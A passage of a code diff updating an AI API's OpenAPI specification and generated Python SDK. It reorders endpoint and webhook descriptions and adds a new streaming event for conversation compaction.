@@ -26225,8 +25922,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Retrieve an agent
post:
operationId: updateAgent
summary: Update an agent
@@ -26290,8 +25985,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Update an agent
delete:
operationId: deleteAgent
summary: Delete an agent
@@ -26350,8 +26043,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Delete an agent
/agents/environments/templates:
get:
operationId: listAgentEnvironmentTemplates
@@ -26429,8 +26120,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: List agent environment templates
post:
operationId: createAgentEnvironmentTemplate
summary: Create an agent environment template
@@ -26485,8 +26174,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Create an agent environment template
/agents/environments/templates/{environment_template_id}:
get:
operationId: retrieveAgentEnvironmentTemplate
@@ -26546,8 +26233,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Retrieve an agent environment template
post:
operationId: updateAgentEnvironmentTemplate
summary: Update an agent environment template
@@ -26617,8 +26302,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Update an agent environment template
delete:
operationId: deleteAgentEnvironmentTemplate
summary: Delete an agent environment template
@@ -26683,8 +26366,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Delete an agent environment template
/agents/sessions:
get:
operationId: listAgentSessions
@@ -26776,8 +26457,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: List agent sessions
post:
operationId: createAgentSession
summary: Create an agent session
@@ -26844,8 +26523,6 @@ paths:
x-oai-streaming:
request_field: stream
response_status_code: 201
- x-oaiMeta:
- name: Create an agent session
/agents/sessions/{session_id}:
get:
operationId: retrieveAgentSession
@@ -26911,8 +26588,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Retrieve an agent session
post:
operationId: updateAgentSession
summary: Update an agent session
@@ -26982,8 +26657,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Update an agent session
delete:
operationId: deleteAgentSession
summary: Delete an agent session
@@ -27048,8 +26721,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Delete an agent session
/agents/sessions/{session_id}/artifacts:
get:
operationId: listAgentSessionArtifacts
@@ -27153,8 +26824,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: List agent session artifacts
/agents/sessions/{session_id}/artifacts/{artifact_id}:
get:
operationId: retrieveAgentSessionArtifact
@@ -27228,8 +26897,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Retrieve an agent session artifact
delete:
operationId: deleteAgentSessionArtifact
summary: Delete an agent session artifact
@@ -27302,8 +26969,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Delete an agent session artifact
/agents/sessions/{session_id}/artifacts/{artifact_id}/content:
get:
operationId: retrieveAgentSessionArtifactContent
@@ -27378,8 +27043,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Retrieve agent session artifact content
/agents/sessions/{session_id}/events:
get:
operationId: listAgentSessionEvents
@@ -27448,8 +27111,6 @@ paths:
x-oai-streaming:
request_field: null
response_status_code: 200
- x-oaiMeta:
- name: Stream agent session events
post:
operationId: createAgentSessionEvents
summary: Create agent session input events
@@ -27523,8 +27184,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Create agent session input events
/agents/sessions/{session_id}/items:
get:
operationId: listAgentSessionItems
@@ -27615,8 +27274,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: List agent session items
/agents/sessions/{session_id}/turns:
get:
operationId: listAgentSessionTurns
@@ -27702,8 +27359,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: List agent session turns
/agents/sessions/{session_id}/turns/{turn_id}:
get:
operationId: retrieveAgentSessionTurn
@@ -27771,8 +27426,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Retrieve an agent session turn
/vaults:
get:
operationId: listVaults
@@ -27862,8 +27515,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: List vaults
post:
operationId: createVault
summary: Create a vault
@@ -27924,8 +27575,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Create a vault
/vaults/{vault_id}:
get:
operationId: retrieveVault
@@ -27991,8 +27640,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Retrieve a vault
delete:
operationId: deleteVault
summary: Delete a vault
@@ -28057,8 +27704,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Delete a vault
/vaults/{vault_id}/credentials:
get:
operationId: listVaultCredentials
@@ -28156,8 +27801,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: List vault credentials
post:
operationId: createVaultCredential
summary: Create a vault credential
@@ -28227,8 +27870,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Create a vault credential
/vaults/{vault_id}/credentials/{credential_id}:
get:
operationId: retrieveVaultCredential
@@ -28302,8 +27943,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Retrieve a vault credential
post:
operationId: rotateVaultCredential
summary: Rotate a vault credential
@@ -28381,8 +28020,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Rotate a vault credential
delete:
operationId: deleteVaultCredential
summary: Delete a vault credential
@@ -28455,14 +28092,20 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- x-oaiMeta:
- name: Delete a vault credential
/responses?beta=true:
post:
operationId: beta_createResponse
tags:
- Responses
summary: Create a model response
+ description: |
+ Creates a model response. Provide [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to generate [text](https://developers.openai.com/api/docs/guides/text)
+ or [JSON](https://developers.openai.com/api/docs/guides/structured-outputs) outputs. Have the model call
+ your own [custom code](https://developers.openai.com/api/docs/guides/function-calling) or use built-in
+ [tools](https://developers.openai.com/api/docs/guides/tools) like [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or [file search](https://developers.openai.com/api/docs/guides/tools-file-search) to use your own data
+ as input for the model's response.
requestBody:
required: true
content:
@@ -28484,7 +28127,6 @@ paths:
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
- name: Create a model response
group: responses
path: create
examples:
@@ -29677,20 +29319,14 @@ paths:
type: string
enum:
- responses_multi_agent=v1
- description: |
- Creates a model response. Provide [text](https://developers.openai.com/api/docs/guides/text) or
- [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to generate [text](https://developers.openai.com/api/docs/guides/text)
- or [JSON](https://developers.openai.com/api/docs/guides/structured-outputs) outputs. Have the model call
- your own [custom code](https://developers.openai.com/api/docs/guides/function-calling) or use built-in
- [tools](https://developers.openai.com/api/docs/guides/tools) like [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
- or [file search](https://developers.openai.com/api/docs/guides/tools-file-search) to use your own data
- as input for the model's response.
/responses/{response_id}?beta=true:
get:
operationId: beta_getResponse
tags:
- Responses
summary: Get a model response
+ description: |
+ Retrieves a model response with the given ID.
parameters:
- in: path
name: response_id
@@ -29758,7 +29394,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Get a model response
group: responses
examples:
request:
@@ -29837,13 +29472,13 @@ paths:
"user": null,
"metadata": {}
}
- description: |
- Retrieves a model response with the given ID.
delete:
operationId: beta_deleteResponse
tags:
- Responses
summary: Delete a model response
+ description: |
+ Deletes a model response with the given ID.
parameters:
- in: path
name: response_id
@@ -29877,7 +29512,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete a model response
group: responses
examples:
request:
@@ -29903,14 +29537,16 @@ paths:
"object": "response",
"deleted": true
}
- description: |
- Deletes a model response with the given ID.
/responses/{response_id}/cancel?beta=true:
post:
operationId: beta_cancelResponse
tags:
- Responses
summary: Cancel a response
+ description: |
+ Cancels a model response with the given ID. Only responses created with
+ the `background` parameter set to `true` can be cancelled.
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
parameters:
- in: path
name: response_id
@@ -29948,7 +29584,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Cancel a response
group: responses
examples:
request:
@@ -30017,13 +29652,13 @@ paths:
"user": null,
"metadata": {}
}
- description: |
- Cancels a model response with the given ID. Only responses created with
- the `background` parameter set to `true` can be cancelled.
- [Learn more](https://developers.openai.com/api/docs/guides/background).
/responses/compact?beta=true:
post:
- summary: Compact a response
+ summary: Compact conversation
+ description: |-
+ Compact a conversation. Returns a compacted response object.
+
+ Learn when and how to compact long-running conversations in the [conversation state guide](https://developers.openai.com/api/docs/guides/conversation-state#managing-the-context-window). For ZDR-compatible compaction details, see [Compaction (advanced)](https://developers.openai.com/api/docs/guides/conversation-state#compaction-advanced).
operationId: beta_Compactconversation
parameters:
- name: openai-beta
@@ -30056,7 +29691,6 @@ paths:
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
- name: Compact a response
group: responses
examples:
request:
@@ -30188,16 +29822,13 @@ paths:
"total_tokens": 577
}
}
- description: |-
- Compact a conversation. Returns a compacted response object.
-
- Learn when and how to compact long-running conversations in the [conversation state guide](https://developers.openai.com/api/docs/guides/conversation-state#managing-the-context-window). For ZDR-compatible compaction details, see [Compaction (advanced)](https://developers.openai.com/api/docs/guides/conversation-state#compaction-advanced).
/responses/{response_id}/input_items?beta=true:
get:
operationId: beta_listInputItems
tags:
- Responses
summary: List input items
+ description: Returns a list of input items for a given response.
parameters:
- in: path
name: response_id
@@ -30263,7 +29894,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List input items
group: responses
examples:
request:
@@ -30303,10 +29933,13 @@ paths:
"last_id": "msg_abc123",
"has_more": false
}
- description: Returns a list of input items for a given response.
/responses/input_tokens?beta=true:
post:
summary: Get input token counts
+ description: |-
+ Returns input token counts of the request.
+
+ Returns an object with `object` set to `response.input_tokens` and an `input_tokens` count.
operationId: beta_Getinputtokencounts
parameters:
- name: openai-beta
@@ -30337,7 +29970,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Get input token counts
group: responses
examples:
request:
@@ -30427,227 +30059,266 @@ paths:
"object": "response.input_tokens",
"input_tokens": 11
}
- description: |-
- Returns input token counts of the request.
-
- Returns an object with `object` set to `response.input_tokens` and an `input_tokens` count.
webhooks:
batch_cancelled:
post:
- responses:
- '200':
- description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried.\n"
+ description: |
+ Sent when a batch has been cancelled.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookBatchCancelled'
- batch_completed:
- post:
responses:
'200':
description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried.\n"
+ batch_completed:
+ post:
+ description: |
+ Sent when a batch has completed processing.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookBatchCompleted'
- batch_expired:
- post:
responses:
'200':
description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried.\n"
+ batch_expired:
+ post:
+ description: |
+ Sent when a batch has expired before completion.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookBatchExpired'
- batch_failed:
- post:
responses:
'200':
description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried.\n"
+ batch_failed:
+ post:
+ description: |
+ Sent when a batch has failed.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookBatchFailed'
- eval_run_canceled:
- post:
responses:
'200':
- description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried. \n"
+ description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried.\n"
+ eval_run_canceled:
+ post:
+ description: |
+ Sent when an eval run has been canceled.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookEvalRunCanceled'
- eval_run_failed:
- post:
responses:
'200':
description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried. \n"
+ eval_run_failed:
+ post:
+ description: |
+ Sent when an eval run has failed.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookEvalRunFailed'
- eval_run_succeeded:
- post:
responses:
'200':
description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried. \n"
+ eval_run_succeeded:
+ post:
+ description: |
+ Sent when an eval run has succeeded.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookEvalRunSucceeded'
- fine_tuning_job_cancelled:
- post:
responses:
'200':
description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried. \n"
+ fine_tuning_job_cancelled:
+ post:
+ description: |
+ Sent when a fine-tuning job has been cancelled.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookFineTuningJobCancelled'
- fine_tuning_job_failed:
- post:
responses:
'200':
description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried. \n"
+ fine_tuning_job_failed:
+ post:
+ description: |
+ Sent when a fine-tuning job has failed.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookFineTuningJobFailed'
- fine_tuning_job_succeeded:
- post:
responses:
'200':
description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried. \n"
+ fine_tuning_job_succeeded:
+ post:
+ description: |
+ Sent when a fine-tuning job has succeeded.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookFineTuningJobSucceeded'
+ responses:
+ '200':
+ description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried. \n"
live_call_incoming:
post:
deprecated: true
- responses:
- '200':
- description: |
- Return a 200 status code to acknowledge receipt of the event. Non-200
- status codes will be retried.
+ description: |
+ Deprecated: use `live.transport.incoming`. Retained only for existing subscriptions.
+ Sent when an incoming API SIP session is available for Live acceptance.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookLiveCallIncoming'
- live_transport_incoming:
- post:
responses:
'200':
description: |
Return a 200 status code to acknowledge receipt of the event. Non-200
status codes will be retried.
+ live_transport_incoming:
+ post:
+ description: |
+ Sent when an incoming API SIP session is available for Live acceptance.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookLiveTransportIncoming'
- realtime_call_incoming:
- post:
responses:
'200':
description: |
Return a 200 status code to acknowledge receipt of the event. Non-200
status codes will be retried.
+ realtime_call_incoming:
+ post:
+ description: |
+ Sent when an incoming API SIP session is available for Realtime acceptance.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookRealtimeCallIncoming'
- response_cancelled:
- post:
responses:
'200':
- description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried.\n"
+ description: |
+ Return a 200 status code to acknowledge receipt of the event. Non-200
+ status codes will be retried.
+ response_cancelled:
+ post:
+ description: |
+ Sent when a background response has been cancelled.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookResponseCancelled'
- response_completed:
- post:
responses:
'200':
- description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried. \n"
+ description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried.\n"
+ response_completed:
+ post:
+ description: |
+ Sent when a background response has completed successfully.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookResponseCompleted'
- response_failed:
- post:
responses:
'200':
- description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried.\n"
+ description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried. \n"
+ response_failed:
+ post:
+ description: |
+ Sent when a background response has failed.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookResponseFailed'
- response_incomplete:
- post:
responses:
'200':
description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried.\n"
+ response_incomplete:
+ post:
+ description: |
+ Sent when a background response is incomplete.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookResponseIncomplete'
- safety_alert_created:
- post:
responses:
'200':
- description: Return any 2xx status code to acknowledge receipt. A 410 Gone response also stops retries; other non-2xx responses are retried.
+ description: "Return a 200 status code to acknowledge receipt of the event. Non-200 \nstatus codes will be retried.\n"
+ safety_alert_created:
+ post:
+ description: |
+ Sent when an approved safety alert is available for an API project.
+ Retrieve the alert with a project API key granted `api.safety.alerts.read`.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookSafetyAlertCreated'
- safety_org_alert_created:
- post:
responses:
'200':
description: Return any 2xx status code to acknowledge receipt. A 410 Gone response also stops retries; other non-2xx responses are retried.
+ safety_org_alert_created:
+ post:
+ description: |
+ Sent when an approved safety alert is available for an enterprise workspace.
+ Retrieve the alert from `https://api.chatgpt.com/v1/safety/alerts/{id}` with
+ an administrator API key for the workspace's backing organization granted
+ `chatgpt.enterprise.safety_alerts.read`.
requestBody:
description: The event payload sent by the API.
content:
application/json:
schema:
$ref: '#/components/schemas/WebhookSafetyOrgAlertCreated'
+ responses:
+ '200':
+ description: Return any 2xx status code to acknowledge receipt. A 410 Gone response also stops retries; other non-2xx responses are retried.
components:
schemas:
AddUploadPartRequest:
@@ -56498,6 +56169,19 @@ components:
"item_id": "ci_12345",
"sequence_number": 1
}
+ ResponseCompactionCompactingEvent:
+ allOf:
+ - $ref: '#/components/schemas/ResponseCompactionCompactingStreamingEvent'
+ x-oaiMeta:
+ name: response.compaction.compacting
+ group: responses
+ example: |
+ {
+ "type": "response.compaction.compacting",
+ "sequence_number": 3,
+ "item_id": "cmp_123",
+ "output_index": 0
+ }
ResponseCompletedEvent:
type: object
description: Emitted when the model response is complete.
@@ -59259,6 +58943,7 @@ components:
- $ref: '#/components/schemas/ResponseCodeInterpreterCallCompletedEvent'
- $ref: '#/components/schemas/ResponseCodeInterpreterCallInProgressEvent'
- $ref: '#/components/schemas/ResponseCodeInterpreterCallInterpretingEvent'
+ - $ref: '#/components/schemas/ResponseCompactionCompactingStreamingEvent'
- $ref: '#/components/schemas/ResponseCompletedEvent'
- $ref: '#/components/schemas/ResponseContentPartAddedEvent'
- $ref: '#/components/schemas/ResponseContentPartDoneEvent'
@@ -59818,6 +59503,18 @@ components:
The WebSocket lane that emitted this event. This field is present
when the originating `response.create` event supplied a
`stream_id`.
+ - title: ResponseCompactionWsCompacting
+ description: Emitted when new summary content is sampled for a compaction trigger. Contains no summary content.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCompactionCompactingStreamingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
- title: ResponseWsCompleted
description: Emitted when the model response is complete.
allOf:
@@ -60435,6 +60132,7 @@ components:
- $ref: '#/components/schemas/ResponseCodeInterpreterCallCompletedEvent'
- $ref: '#/components/schemas/ResponseCodeInterpreterCallInProgressEvent'
- $ref: '#/components/schemas/ResponseCodeInterpreterCallInterpretingEvent'
+ - $ref: '#/components/schemas/ResponseCompactionCompactingStreamingEvent'
- $ref: '#/components/schemas/ResponseCompletedEvent'
- $ref: '#/components/schemas/ResponseContentPartAddedEvent'
- $ref: '#/components/schemas/ResponseContentPartDoneEvent'
@@ -69095,7 +68793,7 @@ components:
x-stainless-const: true
encrypted_content:
type: string
- maxLength: 20971520
+ maxLength: 104857600
description: The encrypted content of the compaction summary.
type: object
required:
@@ -70524,6 +70222,32 @@ components:
- id
title: Conversation
description: The conversation that this response belonged to. Input items and output items from this response were automatically added to this conversation.
+ ResponseCompactionCompactingStreamingEvent:
+ properties:
+ type:
+ type: string
+ enum:
+ - response.compaction.compacting
+ description: The type of the event, always `response.compaction.compacting`.
+ default: response.compaction.compacting
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ output_index:
+ type: integer
+ description: The index of the compaction output item.
+ item_id:
+ type: string
+ description: The ID of the compaction output item.
+ type: object
+ required:
+ - type
+ - sequence_number
+ - output_index
+ - item_id
+ title: Response compaction compacting event
+ description: Emitted when new summary content is sampled for a compaction trigger. Contains no summary content.
ResponseShellCallCommandAddedStreamingEvent:
properties:
type:
@@ -74636,6 +74360,7 @@ components:
- context_length_exceeded
- session_budget_exceeded
- usage_limit_exceeded
+ - credit_balance_exhausted
- rate_limit_exceeded
- server_overloaded
- cyber_policy
@@ -74653,6 +74378,7 @@ components:
- The request exceeds the model's context window.
- The session has reached its usage budget.
- The organization has reached a usage, plan, or billing limit.
+ - The organization has no API credits remaining.
- The request exceeds the available rate limit.
- The model service is temporarily overloaded.
- The request was rejected by a safety policy.
@@ -85724,7 +85450,7 @@ components:
x-stainless-const: true
encrypted_content:
type: string
- maxLength: 20971520
+ maxLength: 104857600
description: The encrypted content of the compaction summary.
type: object
required:
@@ -92069,6 +91795,35 @@ components:
},
"sequence_number": 1
}
+ BetaResponseCompactionCompactingStreamingEvent:
+ properties:
+ type:
+ type: string
+ enum:
+ - response.compaction.compacting
+ description: The type of the event, always `response.compaction.compacting`.
+ default: response.compaction.compacting
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ agent:
+ $ref: '#/components/schemas/BetaAgentTag'
+ description: The agent that owns this multi-agent streaming event.
+ output_index:
+ type: integer
+ description: The index of the compaction output item.
+ item_id:
+ type: string
+ description: The ID of the compaction output item.
+ type: object
+ required:
+ - type
+ - sequence_number
+ - output_index
+ - item_id
+ title: Response compaction compacting event
+ description: Emitted when new summary content is sampled for a compaction trigger. Contains no summary content.
BetaResponseCodeInterpreterCallInterpretingEvent:
type: object
description: Emitted when the code interpreter is actively interpreting the code snippet.
@@ -93464,6 +93219,18 @@ components:
The WebSocket lane that emitted this event. This field is present
when the originating `response.create` event supplied a
`stream_id`.
+ - title: BetaResponseCompactionWsCompacting
+ description: Emitted when new summary content is sampled for a compaction trigger. Contains no summary content.
+ allOf:
+ - $ref: '#/components/schemas/BetaResponseCompactionCompactingStreamingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
- title: BetaResponseWsCompleted
description: Emitted when the model response is complete.
allOf:
@@ -94273,6 +94040,7 @@ components:
- $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCompletedEvent'
- $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInProgressEvent'
- $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInterpretingEvent'
+ - $ref: '#/components/schemas/BetaResponseCompactionCompactingStreamingEvent'
- $ref: '#/components/schemas/BetaResponseCompletedEvent'
- $ref: '#/components/schemas/BetaResponseContentPartAddedEvent'
- $ref: '#/components/schemas/BetaResponseContentPartDoneEvent'
@@ -94677,6 +94445,7 @@ components:
- $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCompletedEvent'
- $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInProgressEvent'
- $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInterpretingEvent'
+ - $ref: '#/components/schemas/BetaResponseCompactionCompactingStreamingEvent'
- $ref: '#/components/schemas/BetaResponseCompletedEvent'
- $ref: '#/components/schemas/BetaResponseContentPartAddedEvent'
- $ref: '#/components/schemas/BetaResponseContentPartDoneEvent'
@@ -95417,6 +95186,14 @@ x-oaiMeta:
client as the Response is generated. This section contains the events that
are emitted by the server.
+ When processing a `compaction_trigger`, `response.compaction.compacting`
+ reports newly sampled summary output at most once every 30 seconds. It
+ carries no summary content and does not modify the compaction output item.
+ The existing `response.output_item.added` and `response.output_item.done`
+ events mark that item's lifecycle; `response.output_item.done` carries its
+ final encrypted content. A short compaction may finish without emitting a
+ progress event.
+
[Learn more about streaming responses](https://developers.openai.com/api/docs/guides/streaming-responses).
navigationGroup: responses
sections:
@@ -95441,6 +95218,9 @@ x-oaiMeta:
- type: object
key: ResponseOutputItemDoneEvent
path:
+ - type: object
+ key: ResponseCompactionCompactingEvent
+ path:
- type: object
key: ResponseContentPartAddedEvent
path:
@@ -95599,6 +95379,8 @@ x-oaiMeta:
description: |
These events use the same payloads over WebSocket and
[HTTP streaming](https://developers.openai.com/api/reference/resources/responses/streaming-events).
+ Compaction progress follows the same cadence and output-item lifecycle
+ described in HTTP streaming.
navigationGroup: responses
sections:
- type: object
@@ -95622,6 +95404,9 @@ x-oaiMeta:
- type: object
key: ResponseOutputItemDoneEvent
path:
+ - type: object
+ key: ResponseCompactionCompactingEvent
+ path:
- type: object
key: ResponseContentPartAddedEvent
path:
diff --git a/src/openai/lib/streaming/responses/_events.py b/src/openai/lib/streaming/responses/_events.py
index 7e731d3985..69e106e6de 100644
--- a/src/openai/lib/streaming/responses/_events.py
+++ b/src/openai/lib/streaming/responses/_events.py
@@ -30,6 +30,7 @@
ResponseMcpListToolsFailedEvent,
ResponseAudioTranscriptDoneEvent,
ResponseAudioTranscriptDeltaEvent,
+ ResponseCompactionCompactingEvent,
ResponseMcpCallArgumentsDoneEvent,
ResponseShellCallCommandDoneEvent,
ResponseImageGenCallCompletedEvent,
@@ -107,6 +108,7 @@ class ResponseCompletedEvent(RawResponseCompletedEvent, GenericModel, Generic[Te
ResponseCodeInterpreterCallCompletedEvent,
ResponseCodeInterpreterCallInProgressEvent,
ResponseCodeInterpreterCallInterpretingEvent,
+ ResponseCompactionCompactingEvent,
ResponseContentPartAddedEvent,
ResponseContentPartDoneEvent,
ResponseCreatedEvent,
diff --git a/src/openai/resources/responses/api.md b/src/openai/resources/responses/api.md
index 32e6f7ea9f..5a771fde08 100644
--- a/src/openai/resources/responses/api.md
+++ b/src/openai/resources/responses/api.md
@@ -40,6 +40,7 @@ from openai.types.responses import (
ResponseCodeInterpreterCallInProgressEvent,
ResponseCodeInterpreterCallInterpretingEvent,
ResponseCodeInterpreterToolCall,
+ ResponseCompactionCompactingEvent,
ResponseCompactionItem,
ResponseCompactionItemParam,
ResponseCompletedEvent,
diff --git a/src/openai/types/beta/__init__.py b/src/openai/types/beta/__init__.py
index 2a1dbade00..10457dbd0a 100644
--- a/src/openai/types/beta/__init__.py
+++ b/src/openai/types/beta/__init__.py
@@ -354,6 +354,9 @@
from .beta_response_audio_transcript_done_event import (
BetaResponseAudioTranscriptDoneEvent as BetaResponseAudioTranscriptDoneEvent,
)
+from .beta_response_compaction_compacting_event import (
+ BetaResponseCompactionCompactingEvent as BetaResponseCompactionCompactingEvent,
+)
from .beta_response_compaction_item_param_param import (
BetaResponseCompactionItemParamParam as BetaResponseCompactionItemParamParam,
)
diff --git a/src/openai/types/beta/beta_response_compaction_compacting_event.py b/src/openai/types/beta/beta_response_compaction_compacting_event.py
new file mode 100644
index 0000000000..1307b4ee1b
--- /dev/null
+++ b/src/openai/types/beta/beta_response_compaction_compacting_event.py
@@ -0,0 +1,37 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["BetaResponseCompactionCompactingEvent", "Agent"]
+
+
+class Agent(BaseModel):
+ """The agent that owns this multi-agent streaming event."""
+
+ agent_name: str
+ """The canonical name of the agent that produced this item."""
+
+
+class BetaResponseCompactionCompactingEvent(BaseModel):
+ """Emitted when new summary content is sampled for a compaction trigger.
+
+ Contains no summary content.
+ """
+
+ item_id: str
+ """The ID of the compaction output item."""
+
+ output_index: int
+ """The index of the compaction output item."""
+
+ sequence_number: int
+ """The sequence number of the event that was emitted."""
+
+ type: Literal["response.compaction.compacting"]
+ """The type of the event, always `response.compaction.compacting`."""
+
+ agent: Optional[Agent] = None
+ """The agent that owns this multi-agent streaming event."""
diff --git a/src/openai/types/beta/beta_response_stream_event.py b/src/openai/types/beta/beta_response_stream_event.py
index 013974ff1d..cd3db2c06d 100644
--- a/src/openai/types/beta/beta_response_stream_event.py
